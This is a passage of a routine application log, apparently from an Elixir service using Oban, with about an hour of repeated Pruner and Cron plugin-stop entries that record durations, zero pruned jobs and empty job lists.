{"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:43.611 [info] {"source":"oban","duration":2325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:00.073 [info] {"source":"oban","duration":879,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:09:13.613 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:09:43.615 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:00.074 [info] {"source":"oban","duration":514,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:10:13.618 [info] {"source":"oban","duration":2084,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:10:43.620 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:00.076 [info] {"source":"oban","duration":561,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:11:13.622 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:11:43.627 [info] {"source":"oban","duration":3050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:00.077 [info] {"source":"oban","duration":456,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:12:13.630 [info] {"source":"oban","duration":1873,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:12:43.633 [info] {"source":"oban","duration":1689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:00.078 [info] {"source":"oban","duration":518,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:13:13.635 [info] {"source":"oban","duration":1267,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:13:43.637 [info] {"source":"oban","duration":1379,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:00.079 [info] {"source":"oban","duration":353,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:14:13.639 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:14:43.641 [info] {"source":"oban","duration":1673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:00.080 [info] {"source":"oban","duration":446,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:15:13.643 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:15:43.646 [info] {"source":"oban","duration":2166,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:00.081 [info] {"source":"oban","duration":797,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:16:13.649 [info] {"source":"oban","duration":2225,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:16:43.652 [info] {"source":"oban","duration":2055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:00.084 [info] {"source":"oban","duration":951,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:17:13.655 [info] {"source":"oban","duration":2153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:17:43.657 [info] {"source":"oban","duration":1795,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:00.085 [info] {"source":"oban","duration":375,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:18:13.660 [info] {"source":"oban","duration":933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:18:43.662 [info] {"source":"oban","duration":1737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:00.086 [info] {"source":"oban","duration":389,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:19:13.665 [info] {"source":"oban","duration":1245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:19:43.668 [info] {"source":"oban","duration":1857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:00.088 [info] {"source":"oban","duration":900,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:20:13.671 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:20:43.673 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:00.089 [info] {"source":"oban","duration":649,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:21:13.675 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:21:43.677 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:00.091 [info] {"source":"oban","duration":530,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:22:13.680 [info] {"source":"oban","duration":2433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:22:43.683 [info] {"source":"oban","duration":2460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:00.093 [info] {"source":"oban","duration":1818,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:23:13.689 [info] {"source":"oban","duration":4975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:23:43.691 [info] {"source":"oban","duration":1776,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:00.096 [info] {"source":"oban","duration":551,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:24:13.695 [info] {"source":"oban","duration":2158,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:24:43.698 [info] {"source":"oban","duration":1752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:00.097 [info] {"source":"oban","duration":524,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:25:13.700 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:25:43.702 [info] {"source":"oban","duration":1851,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:00.098 [info] {"source":"oban","duration":576,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:26:13.706 [info] {"source":"oban","duration":2124,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:26:43.710 [info] {"source":"oban","duration":3419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:00.099 [info] {"source":"oban","duration":674,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:27:13.712 [info] {"source":"oban","duration":1122,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:27:43.714 [info] {"source":"oban","duration":1862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:00.100 [info] {"source":"oban","duration":357,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:28:13.717 [info] {"source":"oban","duration":1546,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:28:43.719 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:00.102 [info] {"source":"oban","duration":968,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:29:13.721 [info] {"source":"oban","duration":1812,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:29:43.725 [info] {"source":"oban","duration":1959,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:00.103 [info] {"source":"oban","duration":274,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:30:13.728 [info] {"source":"oban","duration":1973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:30:43.730 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:00.104 [info] {"source":"oban","duration":832,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:31:13.734 [info] {"source":"oban","duration":3516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:31:43.736 [info] {"source":"oban","duration":1649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:00.106 [info] {"source":"oban","duration":723,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:32:13.738 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:32:43.741 [info] {"source":"oban","duration":2882,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:00.108 [info] {"source":"oban","duration":409,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:33:13.745 [info] {"source":"oban","duration":2713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:33:43.748 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:00.109 [info] {"source":"oban","duration":513,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:34:13.750 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:34:43.752 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:00.111 [info] {"source":"oban","duration":931,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:35:13.755 [info] {"source":"oban","duration":2091,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:35:43.757 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:00.114 [info] {"source":"oban","duration":1035,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:36:13.759 [info] {"source":"oban","duration":1718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:36:43.764 [info] {"source":"oban","duration":3850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:00.116 [info] {"source":"oban","duration":1205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:37:13.766 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:37:43.768 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:00.118 [info] {"source":"oban","duration":1161,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:38:13.771 [info] {"source":"oban","duration":1881,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:38:43.773 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:00.120 [info] {"source":"oban","duration":1358,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:39:13.775 [info] {"source":"oban","duration":1559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:39:43.779 [info] {"source":"oban","duration":2930,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:00.123 [info] {"source":"oban","duration":1481,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:40:13.782 [info] {"source":"oban","duration":2307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:40:43.786 [info] {"source":"oban","duration":2984,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:00.124 [info] {"source":"oban","duration":333,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:41:13.789 [info] {"source":"oban","duration":2600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:41:43.791 [info] {"source":"oban","duration":1728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:00.133 [info] {"source":"oban","duration":5688,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:42:13.794 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:42:43.796 [info] {"source":"oban","duration":1391,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:00.134 [info] {"source":"oban","duration":367,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:43:13.798 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:43:43.802 [info] {"source":"oban","duration":3309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:00.136 [info] {"source":"oban","duration":1006,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:44:13.805 [info] {"source":"oban","duration":1921,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:44:43.809 [info] {"source":"oban","duration":2113,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:00.137 [info] {"source":"oban","duration":471,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:45:13.811 [info] {"source":"oban","duration":956,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:45:43.813 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:00.138 [info] {"source":"oban","duration":406,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:46:13.815 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:46:43.818 [info] {"source":"oban","duration":2012,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:00.140 [info] {"source":"oban","duration":1217,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:47:13.823 [info] {"source":"oban","duration":4416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:47:43.828 [info] {"source":"oban","duration":2806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:00.141 [info] {"source":"oban","duration":525,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:48:13.833 [info] {"source":"oban","duration":3242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:48:43.837 [info] {"source":"oban","duration":1916,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:00.142 [info] {"source":"oban","duration":441,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:49:13.843 [info] {"source":"oban","duration":5821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:49:43.847 [info] {"source":"oban","duration":1863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:00.143 [info] {"source":"oban","duration":325,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:50:13.849 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:50:43.852 [info] {"source":"oban","duration":2004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:00.144 [info] {"source":"oban","duration":593,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:51:13.854 [info] {"source":"oban","duration":1890,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:51:43.859 [info] {"source":"oban","duration":3487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:00.145 [info] {"source":"oban","duration":455,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:52:13.862 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:52:43.864 [info] {"source":"oban","duration":1677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:00.146 [info] {"source":"oban","duration":639,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:53:13.866 [info] {"source":"oban","duration":1897,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:53:43.869 [info] {"source":"oban","duration":1670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:00.148 [info] {"source":"oban","duration":1370,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:54:13.871 [info] {"source":"oban","duration":1731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:54:43.873 [info] {"source":"oban","duration":1899,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:00.149 [info] {"source":"oban","duration":447,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:55:13.876 [info] {"source":"oban","duration":1689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:55:43.880 [info] {"source":"oban","duration":3550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:00.151 [info] {"source":"oban","duration":1743,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:56:13.882 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:56:43.884 [info] {"source":"oban","duration":1412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:00.152 [info] {"source":"oban","duration":490,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:57:13.886 [info] {"source":"oban","duration":1896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:57:43.890 [info] {"source":"oban","duration":2169,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:00.153 [info] {"source":"oban","duration":304,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:58:13.892 [info] {"source":"oban","duration":1106,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:58:43.894 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:00.154 [info] {"source":"oban","duration":463,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 10:59:13.898 [info] {"source":"oban","duration":2996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:59:43.900 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:00.157 [info] {"source":"oban","duration":1047,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:00:13.902 [info] {"source":"oban","duration":1515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:00:43.904 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:00.158 [info] {"source":"oban","duration":545,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:01:13.906 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:01:43.909 [info] {"source":"oban","duration":2691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:00.159 [info] {"source":"oban","duration":412,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:02:13.912 [info] {"source":"oban","duration":1967,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:02:43.919 [info] {"source":"oban","duration":6538,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:00.161 [info] {"source":"oban","duration":988,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:03:13.921 [info] {"source":"oban","duration":1245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:03:43.924 [info] {"source":"oban","duration":2052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:00.162 [info] {"source":"oban","duration":362,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:04:13.927 [info] {"source":"oban","duration":2366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:04:43.930 [info] {"source":"oban","duration":2359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:00.163 [info] {"source":"oban","duration":500,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:05:13.932 [info] {"source":"oban","duration":1818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:05:43.936 [info] {"source":"oban","duration":2358,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:00.164 [info] {"source":"oban","duration":496,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:06:13.938 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:06:43.940 [info] {"source":"oban","duration":1721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:00.166 [info] {"source":"oban","duration":962,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:07:13.944 [info] {"source":"oban","duration":2033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:07:43.947 [info] {"source":"oban","duration":2566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:00.167 [info] {"source":"oban","duration":591,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:08:13.950 [info] {"source":"oban","duration":1362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:08:43.953 [info] {"source":"oban","duration":1945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:00.169 [info] {"source":"oban","duration":515,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:09:13.956 [info] {"source":"oban","duration":1936,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:09:43.959 [info] {"source":"oban","duration":2659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:00.171 [info] {"source":"oban","duration":840,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:10:13.961 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:10:43.963 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:00.173 [info] {"source":"oban","duration":1634,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:11:13.965 [info] {"source":"oban","duration":1451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:11:43.968 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:00.175 [info] {"source":"oban","duration":519,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:12:13.970 [info] {"source":"oban","duration":1826,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:12:43.973 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:00.177 [info] {"source":"oban","duration":918,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:13:13.975 [info] {"source":"oban","duration":1816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:13:43.978 [info] {"source":"oban","duration":1595,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:00.178 [info] {"source":"oban","duration":336,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:14:13.980 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:14:43.982 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:00.179 [info] {"source":"oban","duration":752,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:15:13.986 [info] {"source":"oban","duration":2236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:15:43.988 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:00.181 [info] {"source":"oban","duration":380,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:16:13.991 [info] {"source":"oban","duration":2481,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:16:43.993 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:00.182 [info] {"source":"oban","duration":524,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:17:13.995 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:17:43.997 [info] {"source":"oban","duration":1337,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:00.183 [info] {"source":"oban","duration":553,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:18:13.999 [info] {"source":"oban","duration":1275,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:18:44.001 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:00.184 [info] {"source":"oban","duration":612,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:19:14.003 [info] {"source":"oban","duration":1661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:19:44.005 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:00.186 [info] {"source":"oban","duration":885,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:20:14.007 [info] {"source":"oban","duration":1590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:20:44.010 [info] {"source":"oban","duration":1691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:00.187 [info] {"source":"oban","duration":501,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:21:14.013 [info] {"source":"oban","duration":2205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:21:44.016 [info] {"source":"oban","duration":2055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:00.189 [info] {"source":"oban","duration":379,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:22:14.021 [info] {"source":"oban","duration":4213,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:22:44.023 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:00.190 [info] {"source":"oban","duration":447,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:23:14.026 [info] {"source":"oban","duration":2732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:23:44.028 [info] {"source":"oban","duration":1830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:00.192 [info] {"source":"oban","duration":1075,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:24:14.031 [info] {"source":"oban","duration":1693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:24:44.033 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:00.193 [info] {"source":"oban","duration":438,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:25:14.036 [info] {"source":"oban","duration":2219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:25:44.038 [info] {"source":"oban","duration":1255,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:00.194 [info] {"source":"oban","duration":654,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 11:26:14.042 [info] {"source":"oban","duration":2448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:26:44.048 [info] {"source":"oban","duration":5138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 11:27:00.195 [info] 